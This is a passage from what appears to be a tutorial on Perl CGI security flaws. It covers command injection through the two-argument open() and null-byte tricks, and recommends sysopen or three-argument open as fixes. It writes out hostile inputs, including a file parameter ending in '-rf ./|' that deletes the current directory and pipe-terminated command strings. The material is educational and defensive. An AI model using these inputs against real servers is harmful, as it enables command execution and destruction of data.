Another type of functions which are commonly vulnerable to this are when a script allows uploads and
checks to make sure the uploaded file is a certain file extention.

Problems With open()
If you didn't already know that open(touch file.txt|); will run the system command "touch file.txt" then
now you do. And this is a major problem in countless perl scripts. Out of all these security flaws in perl
code, this is the one I would like perl coders to focus on. It is overlooked by many perl programmers and
can easily be spotted and exploited by attackers. I'd say it and reverse directory transversal are the most
exploited perl coding there is for CGI. Now lets get right to the examples shall we?
use CGI; $input=CGI->new(); $file = $input->param('file'); open(FILE, $file) or &diehtml("cannot open
that file");
Besides reverse directory transversal you can now see how this lack of input filtering cause be deadly. If
you go to -rf ./| the current directory will be deleted!
Not only is the pipe able to make open(FILE $file) execute commands but also open(FILE, "$file"). Of
course open(FILE, '$file') will not work since single quotes do not interprete variables. Also when you
specify what method of I/O you are using when opening a file you cannot execute commands. Examples
of vulnerable calls:
open(FILE, $file); #$file = command| open(FILE, "$file"); #$file = command| open(FILE, "/home/user" .
$file); #$file = /../../bin/command| open(FILE, $file . ".txt"); #$file = |command\0 the null byte is needed
to chop off that .txt open(FILE, "$file.txt"); #$file = |command\0
The last two make use of the null byte. Lets see another example of vulnerable code that uses the null
if(-e $file){ open(FILE, "$file"); }
now this gets tricky, the -e means exists, so the if is checking weather the file exists or not. If it does exist
it tries to open it. but the file |command doesn't exist. How about /bin/command? That exists, now to
get perl to open() so that it will execute it instead of reading it. One nice thing is that when perl checks if
a file exists it calls on the operating system again, and since the operating system (*nix I hope) is coded
in C the null byte works here. Also when perl checks weather it should execute it or not it only checks
the first character and the last character in the filename (open HANDLE FILENAME). So we can set $file
to something like /bin/command\0| and it will execute. Perl will see the | at the end and execute the
command, and the -e check will return true since C will check for /bin/command, stopping at the null
byte. But this is very limitting to the commands you are able to use since you cannot put any spaces or
other characters in it.

I don't really see any serious problems with this, but to be safe just filter any dangerous meta characters
and specify how you are opening files with < << > >> The only problem I see is a DoS - using up tons of
resources by running a lot of programs. There might be a program which could cause security concerns
that doesn't require any arguments.. but I am unaware of any installed by default.

The safest way to open a file for reading would be to use sysopen or the 3 argument version of open.
These force you to specify what kind of mode these files are being opened in. Here is an example of
require Fcntl; #needed for the MODE parameter - in this case O_RDONLY sysopen(FILE,
'/home/user/file', O_RDONLY);
sysopen is a more low level version of open, which doesn't have any fancy features such as '-' for
STDIN/STDOUT, newline tricks, pipes to execute commands, or anything else.. it's just plain old open to
read or write. An example of open with 3 arguments. As mentioned before when you use < << > >> no
commands can be executed by using pipes.
open(FILE, "<", '/home/user/file');
The last open() problem I will go over is one I have only seen once, but I am sure exists in a few other
scripts out there. This is the use of >& as the mode will make the input/output the same as a previous
filehandle. This is a pretty limitted attack, but sometimes can be useful if the script filters for any other
reverse directory transversal methods. Take this example:
#pretend there is good filtering for $FORM{'user'} #stopping any reverse directory transversal or
command execution. #the database is built like: #user1:password #user2:password #user3:password
open(PWDFILE, '/home/user/not_www_readable/passwd'); #put lines into #value, and go through each
line. while(chomp($value = <PWDFILE>)){ #split the line up into username and password variables
($username,$password) = split(/:/, $value); #check if the username and password match.
if($FORM{'user'} eq $username && $FORM{'password'} eq $password){ $access = 1; allowaccess(); } } #if
the user failed to login then $access would not be set if(!$access){ #append to the userfile.. if the
userfile does not exist then create it. open(US

Shared By: